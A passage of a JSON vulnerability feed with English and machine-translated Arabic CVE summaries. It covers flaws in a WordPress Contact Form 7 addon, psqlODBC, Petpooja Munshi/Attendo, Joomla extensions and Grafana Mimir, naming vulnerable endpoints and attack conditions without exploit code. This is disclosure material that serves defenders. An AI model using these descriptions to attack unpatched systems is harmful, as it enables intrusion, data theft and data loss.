بثغرة حذف ملفات عشوائية بسبب عدم كفاية التحقق من مسار الملف في دالة _getObjAttr في جميع الإصدارات حتى 3.5.54 ضمناً. هذا يجعل من الممكن للمهاجمين دون مصادقة حذف ملفات عشوائية على الخادم، مما قد يؤدي بسهولة إلى تنفيذ أوامر عن بُعد عند حذف الملف المناسب (مثل wp-config.php). يتطلب هذا أن تكون إضافة PDF Generator نشطة وأن يتم تكوين نموذج Contact Form 7 لتوليد ملفات PDF، حيث تعتمد سلسلة أدوات WPCF7_Submission POP على وجود CF7 لإتمام حذف الملف عبر __destruct(). ملاحظة: لا يمكن استغلال هذه الثغرة إلا عند تفعيل ميزة مُولّد PDF."},"refs":[["https://www.wordfence.com/threat-intel/vulnerabilities/id/187777a4-3438-489c-ad3b-7e16753189d6?source=cve","ref"],["https://plugins.svn.wordpress.org/ultimate-addons-for-contact-form-7/tags/3.5.52/addons/pdf-generator/pdf-generator.php","ref"],["https://plugins.trac.wordpress.org/changeset/3738548/ultimate-addons-for-contact-form-7","ref"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"themefic-ultra-addons-for-contact-form"},{"id":"CVE-2026-120061","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:18:03Z","product":"PostgreSQL psqlODBC","affected":[["0 – <18.00.0006","18.00.0006"]],"title":{"en":"psqlODBC ODBC escape parser stack buffer overflow","ar":"ثغرة فيضان المخزن المؤقت في مكدس محلل الهروب psqlODBC ODBC"},"summary":{"en":"The psqlODBC parser for ODBC escape sequences in application SQL text writes the argument offsets of a {fn} escape into a fixed 16-entry stack array without a bound and does not initialize the array. An escape with too many arguments overflows the stack, and a reference to an unsupplied argument copies arbitrary bytes into the query. The copy of a {d}, {t}, {ts}, or {escape} body also writes one byte past a 128-byte stack buffer. An application that forwards untrusted SQL text to the driver exposes its process to memory corruption. Versions before psqlODBC 18.00.0006 are affected.","ar":"يكتب محلل psqlODBC لتسلسلات الهروب ODBC في نص SQL للتطبيق إزاحات وسيطة لهروب {fn} في مصفوفة مكدس ثابتة مكونة من 16 مدخلًا دون حد ولا يهيئ المصفوفة. يتسبب الهروب الذي يحتوي على وسيطات كثيرة جدًا في فيضان المكدس، ويقوم مرجع إلى وسيطة غير مزودة بنسخ بايتات عشوائية في الاستعلام. يؤدي نسخ جسم {d} أو {t} أو {ts} أو {escape} أيضًا إلى كتابة بايت واحد بعد مخزن مكدس بحجم 128 بايت. التطبيق الذي يوجه نص SQL غير الموثوق به إلى برنامج التشغيل يعرض عمليته لتلف الذاكرة. الإصدارات السابقة لـ psqlODBC 18.00.0006 هي المتأثرة."},"refs":[["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-hfm6-qfx8-v4xq","advisory"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"postgresql-psqlodbc"},{"id":"CVE-2026-120062","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:18:03Z","product":"PostgreSQL psqlODBC","affected":[["0 – <18.00.0006","18.00.0006"]],"title":{"en":"psqlODBC SQL injection through SQLSpecialColumns table and schema names","ar":"ثغرة حقن SQL في psqlODBC من خلال أسماء جداول ومخططات SQLSpecialColumns"},"summary":{"en":"SQLSpecialColumns in psqlODBC splices the table and schema names it receives into its catalog query without escaping them, while the other catalog functions escape them. An application that passes an untrusted table or schema name to SQLSpecialColumns lets the caller execute arbitrary SQL with the privileges of the connection. Versions before psqlODBC 18.00.0006 are affected.","ar":"تقوم وظيفة SQLSpecialColumns في psqlODBC بدمج أسماء الجداول والمخططات التي تتلقاها في استعلام الفهرس الخاص بها دون الهروب منها، بينما تقوم وظائف الفهرس الأخرى بالهرب منها. التطبيق الذي تمرير اسم جدول أو مخطط غير موثوق به إلى SQLSpecialColumns يتيح للمستدعي تنفيذ SQL عشوائي بصلاحيات الاتصال. الإصدارات السابقة لـ psqlODBC 18.00.0006 هي المتأثرة."},"refs":[["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-gg8f-fx3w-rj33","advisory"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"postgresql-psqlodbc"},{"id":"CVE-2026-120064","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-129","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:18:03Z","product":"PostgreSQL psqlODBC","affected":[["0 – <18.00.0006","18.00.0006"]],"title":{"en":"psqlODBC does not validate column numbers and row indexes in binding and descriptor functions","ar":"psqlODBC لا يتحقق من أرقام الأعمدة وفهارس الصفوف في وظائف الربط والمُصِفّات"},"summary":{"en":"Several psqlODBC entry points use an application-supplied column number or row index as an array index without validating it. SQLBindCol with a column number above 32767 wraps the binding count negative and a later copy runs off the array. A negative SQL_DESC_COUNT on an application row descriptor unbinds columns at negative indexes. SQLColAttribute with a very large column number uses a negative index. SQLSetPos(SQL_ADD) does not check the row number against the rowset size. An application that forwards untrusted column or row numbers exposes its process to out-of-bounds reads and writes. Versions before psqlODBC 18.00.0006 are affected.","ar":"تستخدم عدة نقاط إدخال في psqlODBC رقم عمود أو فهرس صف مقدم من التطبيق كفهرس مصفوفة دون التحقق منه. SQLBindCol برقم عمود أعلى من 32767 يلتف بعدد الربط إلى السالب ولاحقًا يعمل نسخ خارج المصفوفة. يؤدي SQL_DESC_COUNT السالب على مُصِفّ صف التطبيق إلى إلغاء ربط الأعمدة في فهارس سالبة. يستخدم SQLColAttribute برقم عمود كبير جداً فهرسًا سالبًا. SQLSetPos(SQL_ADD) لا يتحقق من رقم الصف مقابل حجم مجموعة الصفوف. التطبيق الذي يوجه أرقام أعمدة أو صفوف غير موثوقة يعرض عمليته لقراءات وكتابات خارج الحدود. الإصدارات السابقة لـ psqlODBC 18.00.0006 هي المتأثرة."},"refs":[["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-7pq2-q7mj-ph8c","advisory"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"postgresql-psqlodbc"},{"id":"CVE-2026-120065","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:18:03Z","product":"PostgreSQL psqlODBC","affected":[["0 – <18.00.0006","18.00.0006"]],"title":{"en":"psqlODBC does not escape a server-supplied column name in its updatable-cursor queries","ar":"psqlODBC لا يقوم بالهرب من اسم عمود مزود من الخادم في استعلامات المؤشر القابل للتحديث"},"summary":{"en":"For an updatable cursor over a table without OIDs that has an auto-increment int4 column, psqlODBC uses that column to identify rows. It places the column's name, as reported by the server, between double quotes in its keyset queries and in the WHERE clause of its positioned SELECT, UPDATE, and DELETE statements, without doubling any double quote in the name. A column name that contains a double quote therefore changes the SQL that the driver runs with the application's privileges, including which rows a positioned UPDATE or DELETE affects. Any database user who can create a table that the application reads with an updatable cursor can choose such a name, and so can a server not trusted under current SSL settings. Versions before psqlODBC 18.00.0006 are affected.","ar":"بالنسبة لمؤشر قابل للتحديث فوق جدول بدون OIDs يحتوي على عمود int4 زيادي تلقائي، يستخدم psqlODBC هذا العمود لتحديد الصفوف. يضع اسم العمود، كما أبلغ عنه الخادم، بين علامات اقتباس مزدوجة في استعلامات مجموعة المفاتيح وفي جملة WHERE الخاصة ببيانات SELECT وUPDATE وDELETE الموضعية، دون مضاعفة أي علامة اقتباس مزدوجة في الاسم. لذلك، فإن اسم العمود الذي يحتوي على علامة اقتباس مزدوجة يغير SQL الذي يشغله برنامج التشغيل بصلاحيات التطبيق، بما في ذلك الصفوف التي تؤثر عليها عمليات UPDATE أو DELETE الموضعية. يمكن لأي مستخدم قاعدة بيانات يمكنه إنشاء جدول يقرأه التطبيق بمؤشر قابل للتحديث اختيار مثل هذا الاسم، وكذلك خادم غير موثوق به بموجب إعدادات SSL الحالية. الإصدارات السابقة لـ psqlODBC 18.00.0006 هي المتأثرة."},"refs":[["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-9cg8-r57h-h6jj","advisory"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"postgresql-psqlodbc"},{"id":"CVE-2026-119736","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-798","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:18:02Z","product":"Petpooja Munshi","affected":[["0 – 3.0.13",null]],"title":{"en":"Attendo Admin Android 3.0.13 Hard-coded MQTT Broker Credentials","ar":"بيانات اعتماد وسيط MQTT المضمنة بثبات في تطبيق Attendo Admin Android 3.0.13"},"summary":{"en":"Attendo (formerly Petpooja Payroll) Admin Android application version 3.0.13 and earlier contains a hard-coded credentials vulnerability that allows attackers to extract production MQTT broker credentials by decompiling the APK's bundled Flutter configuration assets such as production.json and device-command configuration files. Attackers can use the recovered credentials to authenticate to the production MQTT broker over TCP 1883, access messaging topics containing employee attendance records, personal identifiers, Base64-encoded photographs, device telemetry, and authentication material, and publish messages to those topics, resulting in exposure of sensitive data and potential unauthorized message injection.","ar":"يحتوي تطبيق Attendo (المعروف سابقًا بـ Petpooja Payroll) Admin Android الإصدار 3.0.13 والأقدم على ثغرة بيانات اعتماد مضمنة بثبات تسمح للمهاجمين باستخراج بيانات اعتماد وسيط MQTT للإنتاج عن طريق تفكيك أصول تكوين Flutter المجمعة لـ APK مثل production.json وملفات تكوين device-command. يمكن للمهاجمين استخدام بيانات الاعتماد المستعادة للمصادقة على وسيط MQTT للإنتاج عبر TCP 1883، والوصول إلى مواضيع الرسائل التي تحتوي على سجلات حضور الموظفين، والمعرفات الشخصية، والصور المشفرة بـ Base64، وقياسات الجهاز عن بُعد، ومواد المصادقة، ونشر الرسائل إلى تلك المواضيع، مما يؤدي إلى مكاشفة البيانات الحساسة واحتمال حقن رسائل غير مصرح بها."},"refs":[["https://www.vulncheck.com/advisories/attendo-admin-android-hard-coded-mqtt-broker-credentials","advisory"],["https://medium.com/@TheWildEye/from-an-android-apk-to-production-mqtt-exposed-credentials-in-attendo-formerly-petpooja-payroll-eb701d23233e","ref"],["https://play.google.com/store/apps/details?id=com.petpooja.attendance","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"petpooja-munshi"},{"id":"CVE-2026-120057","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:18:02Z","product":"PostgreSQL psqlODBC","affected":[["0 – <18.00.0006","18.00.0006"]],"title":{"en":"psqlODBC large-object read overflows the application buffer","ar":"قراءة الكائنات الكبيرة في psqlODBC تغمر مخزن التطبيق المؤقت"},"summary":{"en":"psqlODBC copies the reply to a large-object read (loread) into the application's buffer using the length sent by the server, without comparing it to the buffer size. A server not trusted under current SSL settings, or a man-in-the-middle, can return more bytes than the buffer holds and overwrite adjacent memory in the client process with server-chosen bytes. Fetching any large-object column is sufficient to trigger it. Versions before psqlODBC 18.00.0006 are affected.","ar":"يقوم psqlODBC بنسخ الرد على قراءة كائن كبير (loread) في مخزن التطبيق المؤقت باستخدام الطول المرسل من قبل الخادم، دون مقارنته بحجم المخزن المؤقت. يمكن لخادم غير موثوق به بموجب إعدادات SSL الحالية، أو وسيط، إرجاع بايتات أكثر مما يحتويه المخزن المؤقت والكتابة فوق الذاكرة المجاورة في عملية العميل بايتات يختارها الخادم. جلب أي عمود كائن كبير يكفي لتشغيله. الإصدارات السابقة لـ psqlODBC 18.00.0006 هي المتأثرة."},"refs":[["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-qhmr-5339-q33r","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"postgresql-psqlodbc"},{"id":"CVE-2026-120058","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-191","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:18:02Z","product":"PostgreSQL psqlODBC","affected":[["0 – <18.00.0006","18.00.0006"]],"title":{"en":"psqlODBC row cache overflow when a later FETCH changes the column count","ar":"فيضان ذاكرة التخزين المؤقت لصفوف psqlODBC عندما يقوم FETCH لاحق بتغيير عدد الأعمدة"},"summary":{"en":"psqlODBC sizes its row cache from the column count of a cursor's first result, but recomputes the column count from each later FETCH reply without checking that it matches. A server not trusted under current SSL settings can answer a later FETCH with more columns and make the driver write tuple records past the end of the heap allocation. A keyset reply with fewer columns than the key fields also underflows the unsigned field count. This is reachable with UseDeclareFetch enabled. Versions before psqlODBC 18.00.0006 are affected.","ar":"يقوم psqlODBC بتحجيم ذاكرة التخزين المؤقت لصفوفه من عدد أعمدة النتيجة الأولى للمؤشر، ولكنه يعيد حساب عدد الأعمدة من كل رد FETCH لاحق دون التحقق من مطابقته. يمكن لخادم غير موثوق به بموجب إعدادات SSL الحالية الرد على FETCH لاحق بمزيد من الأعمدة وجعل برنامج التشغيل يكتب سجلات الكتل بعد نهاية تخصيص الكومة. رد مجموعة المفاتيح الذي يحتوي على عدد أعمدة أقل من حقول المفاتيح يؤدي أيضًا إلى انخفاض عدد الحقول غير الموقع. هذا يمكن الوصول إليه عند تمكين UseDeclareFetch. الإصدارات السابقة لـ psqlODBC 18.00.0006 هي المتأثرة."},"refs":[["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-6rmx-9q62-4w6m","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"postgresql-psqlodbc"},{"id":"CVE-2026-105603","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:17:49Z","product":"dj-extensions.com DJ-Classifieds extension for Joomla","affected":[["1.0-3.11.2",null]],"title":{"en":"Joomla Extension - dj-extensions.com - Authenticated arbitrary file upload in DJ-Classifieds < 3.11.3","ar":"امتداد Joomla - dj-extensions.com - رفع ملف عشوائي مصادق عليه في DJ-Classifieds < 3.11.3"},"summary":{"en":"Joomla Extension - dj-extensions.com - Authenticated arbitrary file upload in DJ-Classifieds < 3.11.3 - The Joomla extension DJ-Classifieds is vulnerable to an unprivileged file upload, leading to full RCE.","ar":"امتداد Joomla - dj-extensions.com - رفع ملف عشوائي مصادق عليه في DJ-Classifieds < 3.11.3 - امتداد Joomla المسمى DJ-Classifieds معرض لرفع ملفات دون امتيازات، مما يؤدي إلى تنفيذ أوامر عن بُعد بالكامل."},"refs":[["https://dj-extensions.com/dj-classifieds","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dj-extensions-com-dj-classifieds-extension-for-joomla"},{"id":"CVE-2026-105606","cvss":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-434","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:01:44Z","product":"joomlaboat.com Custom Tables extension for Joomla","affected":[["1.0-3.7.7",null]],"title":{"en":"Joomla Extension - joomlaboat.com - Unauthenticated arbitrary file upload in Custom Tables < 3.7.8","ar":"إضافة Joomla - joomlaboat.com - رفع ملفات عشوائية دون مصادقة في Custom Tables الإصدارات التي تقل عن 3.7.8"},"summary":{"en":"Joomla Extension - joomlaboat.com - Unauthenticated arbitrary file upload in Custom Tables < 3.7.8 - An unauthenticated attacker can upload a polyglot file with an attacker-controlled extension to the web-accessible tmp directory of any Joomla site that exposes a public Custom Tables submission form, and the stored path is disclosed in the response. By default the uploaded file is served as static content, so the primary impact is an unauthenticated arbitrary file write to a web-accessible directory, which allows hosting of attacker-controlled content (for example phishing or malware pages) under the victim's domain.","ar":"إضافة Joomla - joomlaboat.com - رفع ملفات عشوائية دون مصادقة في Custom Tables الإصدارات التي تقل عن 3.7.8 - يمكن لمهاجم دون مصادقة رفع ملف متعدد اللغات (polyglot) بامتداد يتحكم فيه المهاجم إلى مجلد tmp القابل للوصول عبر الويب لأي موقع Joomla يعرض نموذج إرسال عام لـ Custom Tables، ويتم الكشف عن المسار المخزن في الاستجابة. بشكل افتراضي، يتم تقديم الملف المرفوع كمحتوى ثابت، لذا فإن التأثير الأساسي هو كتابة ملفات عشوائية دون مصادقة في مجلد قابل للوصول عبر الويب، مما يسمح باستضافة محتوى يتحكم فيه المهاجم (على سبيل المثال صفحات التصيد الاحتيالي أو البرمجيات الخبيثة) ضمن نطاق الضحية."},"refs":[["https://joomlaboat.com","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"joomlaboat-com-custom-tables-extension-for-joomla"},{"id":"CVE-2026-119734","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T18:58:31Z","product":"Petpooja Munshi","affected":[["0 – 2026-06-17",null]],"title":{"en":"Munshi IDOR via Purchase Inquiry Thread Endpoint","ar":"ثغرة تجاوز الصلاحيات على مستوى الكائن في Munshi عبر نقطة نهاية خيوط استعلام الشراء"},"summary":{"en":"Munshi (by Petpooja) before 2026-06-17 contained a broken object level authorization vulnerability that allows authenticated attackers to access another user's purchase inquiry by manipulating the thread identifier in the GET /purchase-inquiry/thread/{thread-id} endpoint. Attackers can modify the thread ID to read supplier communication and quotation-related content belonging to other users, resulting in unauthorized disclosure of sensitive business information outside their access scope.","ar":"احتوى تطبيق Munshi (بواسطة Petpooja) في الإصدارات السابقة لـ 2026-06-17 على ثغرة عيوب تفويض على مستوى الكائن تتيح للمهاجمين الذين يملكون حسابًا مصادقًا عليه الوصول إلى استعلام شراء مستخدم آخر عن طريق التلاعب بمعرف الخيط في نقطة النهاية GET /purchase-inquiry/thread/{thread-id}. يمكن للمهاجمين تعديل معرف الخيط لقراءة اتصالات الموردين والمحتويات المتعلقة بعروض الأسعار الخاصة بالمستخدمين الآخرين، مما يؤدي إلى كشف غير مصرح به لمعلومات الأعمال الحساسة خارج نطاق وصولهم."},"refs":[["https://www.vulncheck.com/advisories/munshi-idor-via-purchase-inquiry-thread-endpoint","advisory"],["https://medium.com/@TheWildEye/idor-in-munshi-changing-a-purchase-inquiry-id-exposed-another-users-thread-540323a91bf5","ref"],["https://www.petpooja.com/","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"petpooja-munshi"},{"id":"CVE-2026-119733","cvss":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T18:57:18Z","product":"Petpooja Munshi","affected":[["0 – 2026-07-07",null]],"title":{"en":"Munshi Missing Authorization in Company Deletion API","ar":"نقص الصلاحيات في واجهة برمجة تطبيقات حذف الشركات في Munshi"},"summary":{"en":"Munshi (by Petpooja) before 2026-07-07 contained a missing authorization vulnerability in its company deletion workflow at DELETE /api/companies/{company_id}, where the application fails to enforce the dedicated company_delete permission or verify company ownership. An authenticated invited sub-user with mere access to a company can exploit this flaw to perform a hard delete of the company record, causing irreversible loss of associated business data including invoices, configurations, and chat sessions.","ar":"احتوى تطبيق Munshi (بواسطة Petpooja) في الإصدارات السابقة لـ 2026-07-07 على ثغرة نقص في الصلاحيات في سير عمل حذف الشركات في DELETE /api/companies/{company_id}، حيث تفشل التطبيق في فرض إذن company_delete المخصص أو التحقق من ملكية الشركة. يمكن لمستخدم فرعي مدعو وله حساب مصادق عليه وله حق الوصول فقط إلى شركة ما استغلال هذا الخلل لإجراء حذف نهائي لسجل الشركة، مما يتسبب في فقدان لا يمكن التراجع عنه لبيانات الأعمال المرتبطة بما في ذلك الفواتير والتكوينات وجلسات الدردشة."},"refs":[["https://www.vulncheck.com/advisories/munshi-missing-authorization-in-company-deletion-api","advisory"],["https://medium.com/@TheWildEye/a-sub-user-could-delete-a-company-in-munshi-94bf92476e5c","ref"],["https://www.petpooja.com/","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"petpooja-munshi"},{"id":"CVE-2026-119732","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T18:56:12Z","product":"Petpooja Munshi","affected":[["0 – 2026-07-28",null]],"title":{"en":"Munshi Broken Object Level Authorization via Invoice Deletion API","ar":"ثغرة تجاوز الصلاحيات على مستوى الكائن في Munshi عبر واجهة برمجة تطبيقات حذف الفواتير"},"summary":{"en":"Munshi (by Petpooja) before 2026-07-28 contained a broken object level authorization vulnerability that allows authenticated sub-users to delete invoices belonging to the tenant owner by exploiting the DELETE /api/invoice/{invoice_id} and POST /api/invoices/bulk-delete endpoints, which only verify tenant membership without enforcing object-level ownership or permission checks. Attackers can invoke single or bulk deletion requests with arbitrary invoice identifiers to delete invoices they do not own, resulting in unauthorized data loss.","ar":"احتوى تطبيق Munshi (بواسطة Petpooja) في الإصدارات السابقة لـ 2026-07-28 على ثغرة تجاوز الصلاحيات على مستوى الكائن تتيح للمستخدمين الفرعيين الذين يملكون حسابًا مصادقًا عليه حذف الفواتير المملوكة لمالك المستأجر عن طريق استغلال نقاط النهاية DELETE /api/invoice/{invoice_id} و POST /api/invoices/bulk-delete، والتي تتحقق فقط من عضوية المستأجر دون فرض الملكية على مستوى الكائن أو عمليات التحقق من الأذونات. يمكن للمهاجمين استدعاء طلبات الحذف الفردية أو الجماعية باستخدام معرفات فواتير عشوائية لحذف الفواتير التي لا يملكونها، مما يؤدي إلى فقدان غير مصرح به للبيانات."},"refs":[["https://www.vulncheck.com/advisories/munshi-broken-object-level-authorization-via-invoice-deletion-api","advisory"],["https://medium.com/@TheWildEye/bola-in-munshi-sub-users-could-delete-the-tenant-owners-invoices-008f4331c339","ref"],["https://www.petpooja.com/","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"petpooja-munshi"},{"id":"CVE-2026-119731","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T18:54:28Z","product":"Petpooja Munshi","affected":[["0 – 2026-06-30",null]],"title":{"en":"Munshi Payment Bypass via Unauthenticated Webhook Endpoint","ar":"تجاوز الدفع في Munshi عبر نقطة نهاية Webhook دون مصادقة"},"summary":{"en":"Munshi (by Petpooja) before 2026-06-30 contained a payment bypass vulnerability in its subscription payment webhook at POST /api/payment/order/webhook, which lacks webhook authentication, cryptographic signature verification, source validation, and independent server-side confirmation with the payment provider. A remote, unauthenticated attacker can submit a forged payment-success notification referencing an order obtained from the payment-status redirect URL, causing the backend to mark the subscription as paid/active and granting paid access without an actual successful payment.","ar":"تضمن منتج Munshi (المقدم من Petpooja) في الإصدارات السابقة لـ 2026-06-30 ثغرة تجاوز الدفع في نقطة نهاية Webhook لدفع الاشتراكات على المسار POST /api/payment/order/webhook، والتي تفتقر إلى مصادقة Webhook والتحقق من التوقيع المشفر والتحقق من المصدر والتأكيد المستقل من جانب الخادم مع مزود الدفع. يمكن لمهاجم عن بُعد ودون مصادقة إرسال إشعار نجاح دفع مزيف يشير إلى طلب تم الحصول عليه من عنوان URL الخاص بإعادة توجيه حالة الدفع، مما يتسبب في قيام الخلفية بتحديد الاشتراك على أنه مدفوع أو نشط ومنح الوصول المدفوع دون عملية دفع ناجحة فعلية."},"refs":[["https://www.vulncheck.com/advisories/munshi-payment-bypass-via-unauthenticated-webhook-endpoint","advisory"],["https://medium.com/@TheWildEye/payment-bypass-in-munshi-forging-a-phonepe-webhook-to-activate-an-unpaid-subscription-ce0806829fa4","ref"],["https://www.petpooja.com/","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"petpooja-munshi"},{"id":"CVE-2026-105604","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T18:27:14Z","product":"dj-extensions.com DJ-Classifieds extension for Joomla","affected":[["1.0-3.11.2",null]],"title":{"en":"Joomla Extension - dj-extensions.com - Unauthenticated SQL injection in DJ-Classifieds < 3.11.3","ar":"إضافة Joomla - dj-extensions.com - ثغرة حقن SQL دون مصادقة في DJ-Classifieds الإصدارات أقل من 3.11.3"},"summary":{"en":"Joomla Extension - dj-extensions.com - Unauthenticated SQL injection in DJ-Classifieds < 3.11.3 - The Joomla extension DJ-Classifieds is vulnerable to an unauthenticated SQL injection vector in the frontend search.","ar":"إضافة Joomla - dj-extensions.com - ثغرة حقن SQL دون مصادقة في DJ-Classifieds الإصدارات أقل من 3.11.3 - إضافة Joomla المسمى DJ-Classifieds مصابة بثغرة حقن SQL دون مصادقة في ميزة البحث بالواجهة الأمامية."},"refs":[["https://dj-extensions.com/dj-classifieds","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dj-extensions-com-dj-classifieds-extension-for-joomla"},{"id":"CVE-2026-81938","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T18:23:43Z","product":"Grafana Enterprise Metrics (GEM)","affected":[["2.17.0 – <2.17.20","2.17.20"],["3.0.4 – <3.1.7","3.1.7"],["3.2.0 – <3.2.2","3.2.2"]],"title":{"en":"Arbitrary file read via Alertmanager receiver configuration in Grafana Mimir","ar":"قراءة ملفات عشوائية عبر تكوين مستلم Alertmanager في Grafana Mimir"},"summary":{"en":"Grafana Mimir's Alertmanager rejects tenant-supplied receiver configurations that reference local files, but the check did not cover two HTTP client settings: http_headers.<name>.files and basic_auth.username_file. A tenant permitted to upload an Alertmanager configuration could point these fields at any file readable by the Alertmanager process. When a notification was sent, Alertmanager read the file and put its contents in a header of the outgoing request. By directing the receiver at a server they control, the tenant could read files from the Alertmanager host, such as credentials and configuration. Exploitation requires permission to write the tenant's Alertmanager configuration. Grafana Enterprise Metrics (GEM), which is built on Mimir, is also affected. The issue is fixed in Mimir 3.1.7 and 3.2.2 and in GEM 2.17.20. GEM 2.11 through 2.16 will not receive a fix; users on those versions should upgrade to 2.17.20 or later.","ar":"يرفض Alertmanager في Grafana Mimir تكوين المستلم المقدم من المستأجر والتي تشير إلى ملفات محلية، ولكن الفحص لم يغطي إعدادين لعميل HTTP: http_headers.<name>.files و basic_auth.username_file. يمكن لمستأجر مسموح له بتحميل تكوين Alertmanager توجيه هذه الحقول إلى أي ملف قابل للقراءة بواسطة عملية Alertmanager. عند إرسال إشعار، قرأ Alertmanager الملف وضع محتوياته في رأس الطلب الصادر. من خلال توجيه المستلم إلى خادم يتحكمون به، يمكن للمستأجر قراءة الملفات من مضيف Alertmanager، مثل بيانات الاعتماد والتكوين. يتطلب الاستغلال إذنًا لكتابة تكوين Alertmanager الخاص بالمستأجر. Grafana Enterprise Metrics (GEM)، المبني على Mimir، متأثر أيضًا. تم إصلاح المشكلة في Mimir الإصدارات 3.1.7 و 3.2.2 وفي GEM الإصدار 2.17.20. لن تتلقى الإصدارات GEM 2.11 إلى 2.16 أي إصلاح؛ يجب على المستخدمين على تلك الإصدارات الترقية إلى الإصدار 2.17.20 أو 